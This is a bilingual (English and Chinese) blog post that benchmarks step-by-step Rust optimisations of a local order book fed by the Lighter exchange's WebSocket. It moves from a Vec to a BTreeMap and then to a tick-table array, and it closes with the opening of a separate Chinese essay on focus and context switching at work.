#[serde(rename = "type")]
pub type_: String,
pub timestamp: Option<u64>,
}
Then, for every piece of data received from the Websocket, we go and update our local Orderbook:
fn update_order_book_data(
order_book_data: &mut LighterOrderBookData,
updated_entries: &LighterOrderBookData,
) {
for update_order in &updated_entries.asks {
let new_size_float: f64 =
update_order.size.parse().unwrap();
if new_size_float == 0.0 {
order_book_data.asks.retain(|order| {
order.price != update_order.price
});
} else if let Some(existing_order) = order_book_data
.asks
.iter_mut()
.find(|order| order.price == update_order.price)
{
existing_order.size = update_order.size.clone();
} else {
order_book_data.asks.push(
LighterOrderBookEntry {
price: update_order.price.clone(),
size: update_order.size.clone(),
},
);
}
}
for update_order in &updated_entries.bids {
// bids work the same way
}
}
Then let’s monitor the time consumption here:
let start_time = Instant::now();
update_order_book_data(order_book_data, update_order_book);
let duration = start_time.elapsed();
total_parsed_txs += 1;
total_parse_time_cost += duration;
let average_parse_time_cost =
total_parse_time_cost / total_parsed_txs;
println!("update_order_book_data time cost: {:?}", duration);
println!(
"update_order_book_data average time cost: {:?}",
average_parse_time_cost
);
The results are as follows:
update_order_book_data average time cost: 225.065µs
update_order_book_data time cost: 181.152µs
update_order_book_data average time cost: 224.999µs
update_order_book_data time cost: 503.89µs
update_order_book_data average time cost: 225.416µs
update_order_book_data time cost: 115.778µs
update_order_book_data average time cost: 225.252µs
update_order_book_data time cost: 80.782µs
update_order_book_data average time cost: 225.037µs
update_order_book_data time cost: 79.84µs
update_order_book_data average time cost: 224.821µs
update_order_book_data time cost: 85.672µs
update_order_book_data average time cost: 224.614µs
update_order_book_data time cost: 320.204µs
update_order_book_data average time cost: 224.756µs
Here is one piece of good news and another piece of good news. Good news #1 is that for a Rust super-newbie like me, this code runs, and the Orderbook is updating correctly (confirmed via logs elsewhere). The second piece of good news is—this average time of 230µs looks way too fast!
But obviously, we all know this implementation is very clumsy. We learned earlier that “actually asks and bids both have over 2500 entries,” so operations like retain and .iter_mut().find()—traversing arrays + copying memory every time—are pretty deadly.
So, let’s not be misled by the structure returned by the exchange. Let’s optimize our storage approach here. Instead of storing each Price-Size pair locally as an element of a Vec, we put them into a BTreeMap.
We will make some modifications to the storage structure, using Price as the Key. At the same time, to avoid the pitfall of String price comparison failing to correctly identify the spread (lowest Asks and highest Bids), we introduce the ordered-float crate. Our local Orderbook definition is now as follows:
#[derive(Debug, Deserialize, Default)]
pub struct FastLighterOrderBookData {
pub code: u32,
// Key: Price, Value: Size
pub asks: BTreeMap<OrderedFloat<f64>, String>,
pub bids: BTreeMap<OrderedFloat<f64>, String>,
}
This way, our function for parsing + updating the local Orderbook can be significantly simplified:
fn update_order_book_data(
local_order_book_data: &mut FastLighterOrderBookData,
updated_entries: &LighterOrderBookData,
) {
for update_order_entry in &updated_entries.asks {
let new_size_float: f64 =
update_order_entry.size.parse().unwrap();
let new_price_float_key = OrderedFloat(
update_order_entry.price.parse().unwrap(),
);
if new_size_float == 0.0 {
local_order_book_data
.asks
.remove(&new_price_float_key);
} else {
local_order_book_data.asks.insert(
new_price_float_key,
update_order_entry.size.clone(),
);
}
}
for update_order_entry in &updated_entries.bids {
let new_size_float: f64 =
update_order_entry.size.parse().unwrap();
let new_price_float_key = OrderedFloat(
update_order_entry.price.parse().unwrap(),
);
if new_size_float == 0.0 {
local_order_book_data
.bids
.remove(&new_price_float_key);
} else {
local_order_book_data.bids.insert(
new_price_float_key,
update_order_entry.size.clone(),
);
}
}
}
No more iterating through arrays or copying memory. Let’s run it for a while and see the effect:
update_order_book_data average time cost: 18.807µs
update_order_book_data time cost: 13.515µs
update_order_book_data average time cost: 18.795µs
update_order_book_data time cost: 12.674µs
update_order_book_data average time cost: 18.782µs
update_order_book_data time cost: 33.072µs
update_order_book_data average time cost: 18.812µs
update_order_book_data time cost: 9.097µs
update_order_book_data average time cost: 18.792µs
update_order_book_data time cost: 27.842µs
update_order_book_data average time cost: 18.811µs
Alright, a 10x performance improvement just like that!
The magnitude here is already quite small. To get more precise statistics and not be affected by the actual number of updates, let’s modify the statistics part of the code:
let update_order_book_total_length =
update_order_book.asks.len()
+ update_order_book.bids.len();
let start_time = Instant::now();
update_order_book_data(
&mut local_lighter_order_book,
update_order_book,
);
let duration = start_time.elapsed();
let ratio_duration = duration
/ update_order_book_total_length.try_into().unwrap();
total_parsed_txs += 1;
total_parse_time_cost += ratio_duration;
let average_parse_time_cost =
total_parse_time_cost / total_parsed_txs;
println!(
"update_order_book_data weighted time cost: {:?}, actual total time: {:?}",
ratio_duration, duration
);
println!(
"update_order_book_data weighted average time cost: {:?}",
average_parse_time_cost
);
The time cost for each statistic is divided by the actual number of bids/asks that need to be modified to obtain an average time cost. Re-running the code above, the data is as follows:
update_order_book_data weighted time cost: 5.48µs, actual total time: 5.48µs
update_order_book_data weighted average time cost: 3.994µs
update_order_book_data weighted time cost: 1.77µs, actual total time: 37.181µs
update_order_book_data weighted average time cost: 3.989µs
update_order_book_data weighted time cost: 1.38µs, actual total time: 48.311µs
update_order_book_data weighted average time cost: 3.982µs
update_order_book_data weighted time cost: 1.32µs, actual total time: 33.002µs
update_order_book_data weighted average time cost: 3.976µs
update_order_book_data weighted time cost: 1.188µs, actual total time: 30.898µs
update_order_book_data weighted average time cost: 3.969µs
String to f64——12µs (2.9µs average)Now there is another obvious place that can be optimized, which is here:
BTreeMap<OrderedFloat<f64>, String>
Since the data provided by the exchange are strings, I instinctively wrote String. However, since:
A String is a wrapper over a Vec
.
Allocating String happens on the heap. For a program that modifies data at high frequency, using memory on the heap is definitely not a good idea:
if you are allocating, you are losing
So, a small optimization here is to change everything to an f64 structure, as follows:
#[derive(Debug, Deserialize, Default)]
pub struct FastLighterOrderBookData {
pub code: u32,
// Key: Price, Value: Size
pub asks: BTreeMap<OrderedFloat<f64>, f64>,
pub bids: BTreeMap<OrderedFloat<f64>, f64>,
}
Then, every time WS data is received, convert String to f64 and store it. The running effect is now as follows:
update_order_book_data weighted time cost: 3.354µs, actual total time: 20.128µs
update_order_book_data weighted average time cost: 2.909µs
update_order_book_data weighted time cost: 2.995µs, actual total time: 5.991µs
update_order_book_data weighted average time cost: 2.91µs
update_order_book_data weighted time cost: 4.114µs, actual total time: 12.343µs
update_order_book_data weighted average time cost: 2.914µs
It steadily dropped further from 4µs to 2.9µs!

Using BTreeMap has already vastly improved our speed, but the tree structure and pointers behind BTreeMap are still too slow. I asked Gemini to draw an ASCII chart to help everyone understand:
+------------------+
| Stack |
+------------------+
| root_ptr ----------------+
+------------------+ | (1. Pointer Jump)
v
+---------------------------+
| Heap Addr: 0x1000 (Root) | <--- 1st Memory Read
|---------------------------| (Time ~70ns)
| Keys: [88000, 89000...] |
| Children Ptrs: |
| [0x5000, 0x9000...] |
+------------+--------------+
|
| (2. Pointer Jump - Pointer Chasing)
v
+---------------------------+
| Heap Addr: 0x9000 (Node) | <--- 2nd Memory Read
|---------------------------| (Time ~70ns)
| Keys: [88700, 88800...] |
| Children Ptrs: |
| [0x2000, 0x3000...] |
+------------+--------------+
|
| (3. Pointer Jump - Pointer Chasing)
v
+---------------------------+
| Heap Addr: 0x3000 (Leaf) | <--- 3rd Memory Read
|---------------------------| (Time ~70ns)
| Key: 88797.9 |
| Value: 0.03268 | <--- Finally found data
+---------------------------+
When we look up the price 88797.9, the CPU must play “hopscotch,” jumping from one memory address to another completely unrelated memory address. Every Pointer Chasing can cause a Cache Miss, forcing the CPU to stop and wait for the slow main memory to respond.
The idea for further optimization now is to change the tree structure operation to an array operation—the Tick Table.
const TICK_SIZE_MULTIPLIER: f64 = 10.0; // corresponds to tick_size 0.1
const MAX_PRICE_CAPACITY: usize = 2_000_000;
#[derive(Debug, Deserialize, Default)]
pub struct FlatLighterOrderBookData {
pub code: u32,
// {"price":"88797.9","size":"0.03268"}
// ->
// asks[887979] -> "0.03268"
pub asks: Vec<f64>,
pub bids: Vec<f64>,
pub best_ask_idx: usize,
pub best_bid_idx: usize,
}
The principle is as follows: Transform Price * TICK_SIZE into an integer to serve as the Key of the array, and use size directly as the Value of the array. For example, assuming we are processing BTC here, the data returned by the exchange is precise to 0.1 (see above), so we can multiply the actual data by 10 to use as the Key. At the same time, we maintain two cursors—best_ask_idx and best_bid_idx—to easily obtain the BBO (Best Bid Offer).
The schematic is as follows:
| Array Index (Index) | Restored Price (Price) | Asks Array (Size) | Bids Array (Size) | Cursor State (Cursors) |
|---|---|---|---|---|
| 887981 | 88798.1 | 0.55000 |
0.00000 |
|
| 887980 | 88798.0 | 1.02000 |
0.00000 |
⬅️ best_ask_idx (Sell 1) |
| 887979 | 88797.9 | 0.00000 |
0.03268 |
⬅️ best_bid_idx (Buy 1) |
| 887978 | 88797.8 | 0.00000 |
0.15000 |
|
| 887977 | 88797.7 | 0.00000 |
0.00000 |
(Empty slot, size is 0) |
At this time, updating the price is simply updating directly within the array:
#[inline(always)]
fn price_to_index(price: f64) -> usize {
// Adding 0.5 is to handle floating point precision errors (epsilon), e.g., 0.999999 -> 1.0
(price * TICK_SIZE_MULTIPLIER + 0.5) as usize
}
pub fn update(&mut self, price: f64, size: f64, is_bid: bool) {
let price_idx = Self::price_to_index(price);
if price_idx >= MAX_PRICE_CAPACITY {
eprintln!("Error: Price {} out of bounds", price);
return;
}
if is_bid {
self.bids[price_idx] = size;
if size > 0.0 {
if price_idx > self.best_bid_idx {
self.best_bid_idx = price_idx;
}
// Same as current best_bid_idx and size == 0
// best_bid_idx is deleted
} else if price_idx == self.best_bid_idx {
let mut scan_price_idx = price_idx;
loop {
if scan_price_idx == 0 {
self.best_bid_idx = 0; // liquidity is gone
break;
}
scan_price_idx -= 1;
if self.bids[scan_price_idx] > 0.0 {
self.best_bid_idx = scan_price_idx;
break;
}
}
}
} else {
self.asks[price_idx] = size;
// The rest is similar to Bids above
}
}
Let’s run it again to see the time consumption this time.
update_order_book_data weighted time cost: 618ns, actual total time: 2.475µs
update_order_book_data weighted average time cost: 959ns
update_order_book_data weighted time cost: 1.245µs, actual total time: 4.98µs
update_order_book_data weighted average time cost: 963ns
update_order_book_data weighted time cost: 2.274µs, actual total time: 2.274µs
update_order_book_data weighted average time cost: 978ns
update_order_book_data weighted time cost: 1.132µs, actual total time: 2.264µs
update_order_book_data weighted average time cost: 980ns
update_order_book_data weighted time cost: 1.613µs, actual total time: 1.613µs
update_order_book_data weighted average time cost: 987ns
update_order_book_data weighted time cost: 663ns, actual total time: 2.655µs
update_order_book_data weighted average time cost: 984ns
update_order_book_data weighted time cost: 1.703µs, actual total time: 1.703µs
update_order_book_data weighted average time cost: 992ns
We have further reduced the update time to around 990ns!
Finally, let’s cargo run --release and check the results:
update_order_book_data weighted time cost: 576ns, actual total time: 4.608µs
update_order_book_data weighted average time cost: 477ns
update_order_book_data weighted time cost: 1.052µs, actual total time: 1.052µs
update_order_book_data weighted average time cost: 483ns
update_order_book_data weighted time cost: 127ns, actual total time: 1.273µs
update_order_book_data weighted average time cost: 479ns
update_order_book_data weighted time cost: 360ns, actual total time: 1.443µs
update_order_book_data weighted average time cost: 478ns
update_order_book_data weighted time cost: 1.372µs, actual total time: 1.372µs
update_order_book_data weighted average time cost: 488ns
update_order_book_data weighted time cost: 947ns, actual total time: 1.894µs
update_order_book_data weighted average time cost: 492ns
492ns!
We went step by step from mimicking the exchange’s asks and bids arrays, to switching to BTreeMap, to the small optimization of String -> f64, and finally to the practice of using a Tick Table. Starting from writing a program that looked practically usable, I learned some content about Rust (and some things like the Tokio runtime which were not included in this article).
Of course, we also have to look back occasionally to see how much value our optimization really has, after all— https://apidocs.lighter.xyz/docs/account-types
Premium Account (Opt-in) – Suitable for HFT, the lowest latency on Lighter.
Fees: 0.002% Maker, 0.02% Taker
maker/cancel latency: 0ms
taker latency: 150ms
part of volume quota program
Standard Account (Default) – Suitable for retail and latency insensitive traders.
fees: 0 maker / 0 taker
taker latency: 300ms
maker: 200ms
cancel order: 100ms
How much?! 150ms?! Suitable for HFT?!

这次的目标练习交易所是 Lighter,建立 Websocket 连接之后通过发送如下信息即可开始订阅:
{
"type": "subscribe",
"channel": "order_book/{MARKET_INDEX}"
}
得到的数据节选如下,订阅成功后会先得到一个全量的 orderbook,这里有所删减,实际上获得的第一条快照数据 subscribed/order_book 的 asks 和 bids 都有 2500 条以上。
{
"channel": "order_book:1",
"offset": 12837513,
"order_book": {
"code": 0,
"asks": [
{
"price": "87194.4",
"size": "1.03736"
},
{
"price": "87194.5",
"size": "0.02980"
}
],
"bids": [
{
"price": "87194.0",
"size": "0.00020"
},
{
"price": "87191.6",
"size": "0.03676"
}
],
"offset": 12837513,
"nonce": 3901590619
},
"timestamp": 1766059985139,
"type": "subscribed/order_book"
}
后续的 update/order_book 数据结构类似如下:
{
"channel": "order_book:1",
"offset": 12837556,
"order_book": {
"code": 0,
"asks": [
{
"price": "87208.2",
"size": "0.00000"
}
],
"bids": [
{
"price": "87173.2",
"size": "0.01389"
}
],
"offset": 12837556,
"nonce": 3901590736
},
"timestamp": 1766059985417,
"type": "update/order_book"
}
不难理解,对于第一次推送是给了 orderbook 的一个全量快照,后续是给的增量数据,如果 size 是 “0.00000” ,那么就是删除 orderbook 中对应的数据,此外需要根据 offset 严格自增判断,不能丢任何一条数据,丢了就得断连之后重新从快照开始。
以下代码运行方式均为: cargo run ,而不是 cargo run --release。
作为新手,比较直观的想法肯定是——我先跑起来再说!
示意图如下(Gemini 画图)
+-----------------------------------------------------------------------+
| 🧠 核心思路: "直观映射" (Intuitive) |
| "JSON 是什么样,我就定义什么样的 Struct,存下来再说!" |
+-----------------------------------------------------------------------+
|
| 1. JSON 输入 (Incoming Data)
V
+--------------------------+
| JSON Object |
| { |
| "type": "...", | serde 自动反序列化
| "bids": [...], | ========================>
| "asks": [...] |
| } |
+--------------------------+
|
| 2. Rust 内存结构 (Memory Layout)
V
+-------------------------------------------------------------+
| struct LighterOrderBook (Root) |
+-------------------------------------------------------------+
| - channel: Option<String> |
| - offset: Option<u64> |
| - type_: String |
| - timestamp: Option<u64> |
| |
| [!] 嵌套层级 (Nested Layer) |
| - order_book: Option -------------------------------------> +
+-------------------------------------------------------------+
|
+---------------------------------------------------+
|
v
+-------------------------------------------------------------+
| struct LighterOrderBookData |
+-------------------------------------------------------------+
| - code: u32 |
| |
| [!] 列表直接转 Vec (List -> Vec) |
| - asks: Vec<LighterOrderBookEntry> ---+ |
| - bids: Vec<LighterOrderBookEntry> ---|---+ |
+-------------------------------------------------------------+
| |
+-----------------------------+ |
| |
v v
+----------------------------+ +----------------------------+
| Entry (Ask) | | Entry (Bid) |
+----------------------------+ +----------------------------+
| - price: String (Heap 🐢) | | - price: String (Heap 🐢) |
| - size: String (Heap 🐢) | | - size: String (Heap 🐢) |
+----------------------------+ +----------------------------+
^ ^
| |
+--- "既然是 List,那就存俩 List 本地更新完事" ---+
所以第一反应无脑想法是跟着 JSON 的结构搞一个 Rust 的 Struct 出来:
你
bids和asks不是俩 List 么?那我也存俩 List 本地更新不就完事了?
#[derive(Debug, Deserialize)]
pub struct LighterOrderBookEntry {
pub price: String,
pub size: String,
}
#[derive(Debug, Deserialize)]
pub struct LighterOrderBookData {
pub code: u32,
pub asks: Vec<LighterOrderBookEntry>,
pub bids: Vec<LighterOrderBookEntry>,
}
#[derive(Debug, Deserialize)]
pub struct LighterOrderBook {
pub channel: Option<String>,
pub offset: Option<u64>,
pub order_book: Option<LighterOrderBookData>,
#[serde(rename = "type")]
pub type_: String,
pub timestamp: Option<u64>,
}
然后对于每一次 Websocket 收到的数据都去更新一下我们本地的一个 Orderbook:
fn update_order_book_data(
order_book_data: &mut LighterOrderBookData,
updated_entries: &LighterOrderBookData,
) {
for update_order in &updated_entries.asks {
let new_size_float: f64 =
update_order.size.parse().unwrap();
if new_size_float == 0.0 {
order_book_data.asks.retain(|order| {
order.price != update_order.price
});
} else if let Some(existing_order) = order_book_data
.asks
.iter_mut()
.find(|order| order.price == update_order.price)
{
existing_order.size = update_order.size.clone();
} else {
order_book_data.asks.push(
LighterOrderBookEntry {
price: update_order.price.clone(),
size: update_order.size.clone(),
},
);
}
}
for update_order in &updated_entries.bids {
// bids 是一样的道理
}
}
然后我们来监控一下这里的耗时:
let start_time = Instant::now();
update_order_book_data(order_book_data, update_order_book);
let duration = start_time.elapsed();
total_parsed_txs += 1;
total_parse_time_cost += duration;
let average_parse_time_cost =
total_parse_time_cost / total_parsed_txs;
println!("update_order_book_data 耗时: {:?}", duration);
println!(
"update_order_book_data 平均耗时: {:?}",
average_parse_time_cost
);
结果如下:
update_order_book_data 平均耗时: 225.065µs
update_order_book_data 耗时: 181.152µs
update_order_book_data 平均耗时: 224.999µs
update_order_book_data 耗时: 503.89µs
update_order_book_data 平均耗时: 225.416µs
update_order_book_data 耗时: 115.778µs
update_order_book_data 平均耗时: 225.252µs
update_order_book_data 耗时: 80.782µs
update_order_book_data 平均耗时: 225.037µs
update_order_book_data 耗时: 79.84µs
update_order_book_data 平均耗时: 224.821µs
update_order_book_data 耗时: 85.672µs
update_order_book_data 平均耗时: 224.614µs
update_order_book_data 耗时: 320.204µs
update_order_book_data 平均耗时: 224.756µs
这里有一个好消息和一个好消息,好消息1是对于一个Rust超级新手的我来说,这个代码跑起来了,Orderbook也在正确更新了(在别的地方通过 Log 确认),第二个好消息就是——这平均 230µs 的时间看上去也太快了叭!
但是显然我们都知道这个实现非常的挫,在前文中我们知道「实际上 asks 和 bids 都有 2500 条以上」,那这里每一次 retain 和 .iter_mut().find() 这类遍历数组+复制内存都是挺要命的操作。
所以不要被交易所返回的结构带沟里了,这里我们优化一下存储的思路,本地每个 Price-Size 对不要作为 Vec 的一个元素了,而是放到一个 BTreeMap 里面。
我们将存储的结构做一些修改,将 Price 作为 Key,同时为了避免掉进 String 对比价格无法正确获得盘口(Asks 最小和 Bids 最大)的坑,我们引入 ordered-float 包,现在我们本地的 Orderbook 定义如下:
#[derive(Debug, Deserialize, Default)]
pub struct FastLighterOrderBookData {
pub code: u32,
// Key: Price, Value: Size
pub asks: BTreeMap<OrderedFloat<f64>, String>,
pub bids: BTreeMap<OrderedFloat<f64>, String>,
}
这样我们的解析+更新本地 Orderbook 的函数就可以被大幅简化:
fn update_order_book_data(
local_order_book_data: &mut FastLighterOrderBookData,
updated_entries: &LighterOrderBookData,
) {
for update_order_entry in &updated_entries.asks {
let new_size_float: f64 =
update_order_entry.size.parse().unwrap();
let new_price_float_key = OrderedFloat(
update_order_entry.price.parse().unwrap(),
);
if new_size_float == 0.0 {
local_order_book_data
.asks
.remove(&new_price_float_key);
} else {
local_order_book_data.asks.insert(
new_price_float_key,
update_order_entry.size.clone(),
);
}
}
for update_order_entry in &updated_entries.bids {
let new_size_float: f64 =
update_order_entry.size.parse().unwrap();
let new_price_float_key = OrderedFloat(
update_order_entry.price.parse().unwrap(),
);
if new_size_float == 0.0 {
local_order_book_data
.bids
.remove(&new_price_float_key);
} else {
local_order_book_data.bids.insert(
new_price_float_key,
update_order_entry.size.clone(),
);
}
}
}
再也不需要遍历数组或者复制内存了,我们运行一段时间看看效果:
update_order_book_data 平均耗时: 18.807µs
update_order_book_data 耗时: 13.515µs
update_order_book_data 平均耗时: 18.795µs
update_order_book_data 耗时: 12.674µs
update_order_book_data 平均耗时: 18.782µs
update_order_book_data 耗时: 33.072µs
update_order_book_data 平均耗时: 18.812µs
update_order_book_data 耗时: 9.097µs
update_order_book_data 平均耗时: 18.792µs
update_order_book_data 耗时: 27.842µs
update_order_book_data 平均耗时: 18.811µs
好,10 倍的性能提升就这么摸出来了!

这里数量级已经比较小了,为了更加精确统计,而不要受到实际更新的数量的影响,这里修改一下统计的部分代码:
let update_order_book_total_length =
update_order_book.asks.len()
+ update_order_book.bids.len();
let start_time = Instant::now();
update_order_book_data(
&mut local_lighter_order_book,
update_order_book,
);
let duration = start_time.elapsed();
let ratio_duration = duration
/ update_order_book_total_length.try_into().unwrap();
total_parsed_txs += 1;
total_parse_time_cost += ratio_duration;
let average_parse_time_cost =
total_parse_time_cost / total_parsed_txs;
println!(
"update_order_book_data 加权耗时: {:?}, 实际总耗时: {:?}",
ratio_duration, duration
);
println!(
"update_order_book_data 加权平均耗时: {:?}",
average_parse_time_cost
);
每次统计的耗时会除以实际的需要被修改的 bids/asks 的数量,获得一个平均耗时,重新运行上述代码,数据如下:
update_order_book_data 加权耗时: 5.48µs, 实际总耗时: 5.48µs
update_order_book_data 加权平均耗时: 3.994µs
update_order_book_data 加权耗时: 1.77µs, 实际总耗时: 37.181µs
update_order_book_data 加权平均耗时: 3.989µs
update_order_book_data 加权耗时: 1.38µs, 实际总耗时: 48.311µs
update_order_book_data 加权平均耗时: 3.982µs
update_order_book_data 加权耗时: 1.32µs, 实际总耗时: 33.002µs
update_order_book_data 加权平均耗时: 3.976µs
update_order_book_data 加权耗时: 1.188µs, 实际总耗时: 30.898µs
update_order_book_data 加权平均耗时: 3.969µs
String to f64——12µs(2.9µs average)现在有另一个明显的可以优化的地方,就是这里:
BTreeMap<OrderedFloat<f64>, String>
由于交易所给的数据是字符串,这里想当然立即写了个 String,但是由于
A String is a wrapper over a Vec
.
所以 String 的分配是在堆上,在一个高频对数据修修改改的程序来说,在堆上使用内存绝对不是一个什么好的注意:
if you are allocating, you are losing
所以这里的一个小优化就是修改为全部 f64 的结构,如下:
#[derive(Debug, Deserialize, Default)]
pub struct FastLighterOrderBookData {
pub code: u32,
// Key: Price, Value: Size
pub asks: BTreeMap<OrderedFloat<f64>, f64>,
pub bids: BTreeMap<OrderedFloat<f64>, f64>,
}
然后在每次收到了 WS 数据的时候将 String 转换为 f64 并存储,此时运行效果如下:
update_order_book_data 加权耗时: 3.354µs, 实际总耗时: 20.128µs
update_order_book_data 加权平均耗时: 2.909µs
update_order_book_data 加权耗时: 2.995µs, 实际总耗时: 5.991µs
update_order_book_data 加权平均耗时: 2.91µs
update_order_book_data 加权耗时: 4.114µs, 实际总耗时: 12.343µs
update_order_book_data 加权平均耗时: 2.914µs
从 4µs 进一步稳定下降到了 2.9µs!

使用 BTreeMap 已经极大的提升了我们的速度,但是 BTreeMap 背后的树状结构和指针还是太慢了,我让 Gemini 画了个 ASCII 的图方便大家理解:
+------------------+
| Stack (栈) |
+------------------+
| root_ptr ----------------+
+------------------+ | (1. 指针跳转)
v
+---------------------------+
| Heap Addr: 0x1000 (Root) | <--- 第一次内存读取
|---------------------------| (耗时 ~70ns)
| Keys: [88000, 89000...] |
| Children Ptrs: |
| [0x5000, 0x9000...] |
+------------+--------------+
|
| (2. 指针跳转 - Pointer Chasing)
v
+---------------------------+
| Heap Addr: 0x9000 (Node) | <--- 第二次内存读取
|---------------------------| (耗时 ~70ns)
| Keys: [88700, 88800...] |
| Children Ptrs: |
| [0x2000, 0x3000...] |
+------------+--------------+
|
| (3. 指针跳转 - Pointer Chasing)
v
+---------------------------+
| Heap Addr: 0x3000 (Leaf) | <--- 第三次内存读取
|---------------------------| (耗时 ~70ns)
| Key: 88797.9 |
| Value: 0.03268 | <--- 终于找到数据
+---------------------------+
当我们查找价格 88797.9 时,CPU 必须像“跳房子”一样,从一个内存地址跳到另一个完全不相关的内存地址。每一次指针跳转 (Pointer Chasing) 都可能导致 CPU 缓存未命中 (Cache Miss),迫使 CPU 停下来等待慢速的主内存响应。
现在这里进一步优化的思路是将树状结构的操作改为数组的操作——Tick Table。
const TICK_SIZE_MULTIPLIER: f64 = 10.0; // 对应 tick_size 0.1
const MAX_PRICE_CAPACITY: usize = 2_000_000;
#[derive(Debug, Deserialize, Default)]
pub struct FlatLighterOrderBookData {
pub code: u32,
// {"price":"88797.9","size":"0.03268"}
// ->
// asks[887979] -> "0.03268"
pub asks: Vec<f64>,
pub bids: Vec<f64>,
pub best_ask_idx: usize,
pub best_bid_idx: usize,
}
原理如下:将 Price * TICK_SIZE 变成整数作为数组的 Key, size 直接作为数组的 Value,例如假设这里是处理的 BTC,交易所返回的数据都是精确到 0.1 (见上文),所以可以将实际数据乘以 10 作为 Key,同时维护两个游标——best_ask_idx 和 best_bid_idx 用于方便得到盘口 BBO。
示意图如下:
| 数组索引 (Index) | 还原价格 (Price) | Asks 数组 (Size) | Bids 数组 (Size) | 游标状态 (Cursors) |
|---|---|---|---|---|
| 887981 | 88798.1 | 0.55000 |
0.00000 |
|
| 887980 | 88798.0 | 1.02000 |
0.00000 |
⬅️ best_ask_idx (卖一) |
| 887979 | 88797.9 | 0.00000 |
0.03268 |
⬅️ best_bid_idx (买一) |
| 887978 | 88797.8 | 0.00000 |
0.15000 |
|
| 887977 | 88797.7 | 0.00000 |
0.00000 |
(空档位,size为0) |
这个时候对于价格的更新就是直接在数组中进行更新:
#[inline(always)]
fn price_to_index(price: f64) -> usize {
// 加 0.5 是为了处理浮点数精度误差 (epsilon),例如 0.999999 -> 1.0
(price * TICK_SIZE_MULTIPLIER + 0.5) as usize
}
pub fn update(&mut self, price: f64, size: f64, is_bid: bool) {
let price_idx = Self::price_to_index(price);
if price_idx >= MAX_PRICE_CAPACITY {
eprintln!("Error: Price {} out of bounds", price);
return;
}
if is_bid {
self.bids[price_idx] = size;
if size > 0.0 {
if price_idx > self.best_bid_idx {
self.best_bid_idx = price_idx;
}
// Same as current best_bid_idx and size == 0
// best_bid_idx is deleted
} else if price_idx == self.best_bid_idx {
let mut scan_price_idx = price_idx;
loop {
if scan_price_idx == 0 {
self.best_bid_idx = 0; // 流动性没了
break;
}
scan_price_idx -= 1;
if self.bids[scan_price_idx] > 0.0 {
self.best_bid_idx = scan_price_idx;
break;
}
}
}
} else {
self.asks[price_idx] = size;
// 剩余部分和上面 Bids 差不多
}
}
我们再来运行一下看看这次的耗时情况。
update_order_book_data 加权耗时: 618ns, 实际总耗时: 2.475µs
update_order_book_data 加权平均耗时: 959ns
update_order_book_data 加权耗时: 1.245µs, 实际总耗时: 4.98µs
update_order_book_data 加权平均耗时: 963ns
update_order_book_data 加权耗时: 2.274µs, 实际总耗时: 2.274µs
update_order_book_data 加权平均耗时: 978ns
update_order_book_data 加权耗时: 1.132µs, 实际总耗时: 2.264µs
update_order_book_data 加权平均耗时: 980ns
update_order_book_data 加权耗时: 1.613µs, 实际总耗时: 1.613µs
update_order_book_data 加权平均耗时: 987ns
update_order_book_data 加权耗时: 663ns, 实际总耗时: 2.655µs
update_order_book_data 加权平均耗时: 984ns
update_order_book_data 加权耗时: 1.703µs, 实际总耗时: 1.703µs
update_order_book_data 加权平均耗时: 992ns
进一步将更新时间下降到了 990ns 附近!
最后,我们 cargo run --release 来看看效果吧:
update_order_book_data 加权耗时: 576ns, 实际总耗时: 4.608µs
update_order_book_data 加权平均耗时: 477ns
update_order_book_data 加权耗时: 1.052µs, 实际总耗时: 1.052µs
update_order_book_data 加权平均耗时: 483ns
update_order_book_data 加权耗时: 127ns, 实际总耗时: 1.273µs
update_order_book_data 加权平均耗时: 479ns
update_order_book_data 加权耗时: 360ns, 实际总耗时: 1.443µs
update_order_book_data 加权平均耗时: 478ns
update_order_book_data 加权耗时: 1.372µs, 实际总耗时: 1.372µs
update_order_book_data 加权平均耗时: 488ns
update_order_book_data 加权耗时: 947ns, 实际总耗时: 1.894µs
update_order_book_data 加权平均耗时: 492ns
492ns!
我们一步步从模仿交易所的 asks 和 bids 数组,到改用 BTreeMap ,到 String -> f64 的小优化,最后到使用 Tick Table 的实践,从写了一个看上去实际可用的程序的出发学到了 Rust 的一些内容(还有一些 Tokio 等运行时并没有在本文中包括)。
当然,我们也得时不时回头看看我们的优化价值到底有多大,毕竟—— https://apidocs.lighter.xyz/docs/account-types
Premium Account (Opt-in) – Suitable for HFT, the lowest latency on Lighter.
Fees: 0.002% Maker, 0.02% Taker
maker/cancel latency: 0ms
taker latency: 150ms
part of volume quota program
Standard Account (Default) – Suitable for retail and latency insensitive traders.
fees: 0 maker / 0 taker
taker latency: 300ms
maker: 200ms
cancel order: 100ms
夺少?!150ms?! Suitable for HFT?!

这篇文章原写就于:2025-05-16 后便一直在草稿中,最近在看到了「Burn out 逃生指南 | 卡瓦邦噶!」一文后感触很多,便继续完善了本文并进行发布。
从大学毕业加入 PingCAP 开始正式参与工作之后便感觉自己的专注力越来越差,经过一些思考和观察感觉这里专注力差的来源应该有如下几个方面的原因。
首先是年龄逐渐变大(这是生理极限,但应该影响不会很大,且应该不会跃变),所以这应该只是一个 minor factor。
其次是信息过载和上下文切换,在大学期间每天主要的活动局限于——上课,研究自己的项目(且几乎没有并发),根据自己的某些项目写代码做实验。但是到了工作之后就可能会高并发处理 N 个同时发生的问题,设想一下,当你在尝试阅读 Jenkins 的 Groovy 语法的时候有人来找你问什么公司的专线开始丢包了,同时你还想着半个小时前和 A 同事说你要尝试修改一下机房某些路由的事情,这个时候,X 聊天工具突然蹦出来一个不知道是谁的人说「Hi Nova,我们 ZZZ 账户的管理是找你嘛?」。
和我们往一个随机读写能力不行的存储器上复制文件一样,我们的未根据现在生活状态进化大脑一旦获得了并发的请求便会开始大量进行上下文切换(因为无法真正实现并发,只能通过上下文切换模拟并发)并大幅降低效率,和 CPU 一样,每次上下文切换都会带来大量的性能开销让工作变慢,对于并发复制文件的例子便是速度只和比不上顺序复制的 1/2,而对于人脑来说,便是工作效率非常低,导致工作出错率提升,且很容易很累。

对于并发处理事务(不可避免的带来上下文切换)带来的代价有多大呢?上图的文章中有一个简单的概括:
如果你一次只处理一项任务,那么你可以将100%的时间投入其中。如果再添加一项任务,你将有20%的时间用于上下文切换,最终每项任务只能分配40%的时间。如果再添加一项任务,你将有近一半的时间用于上下文切换。即使你尝试只处理一项任务,回复新邮件或查看桌面通知也会对整体产生深远的影响。
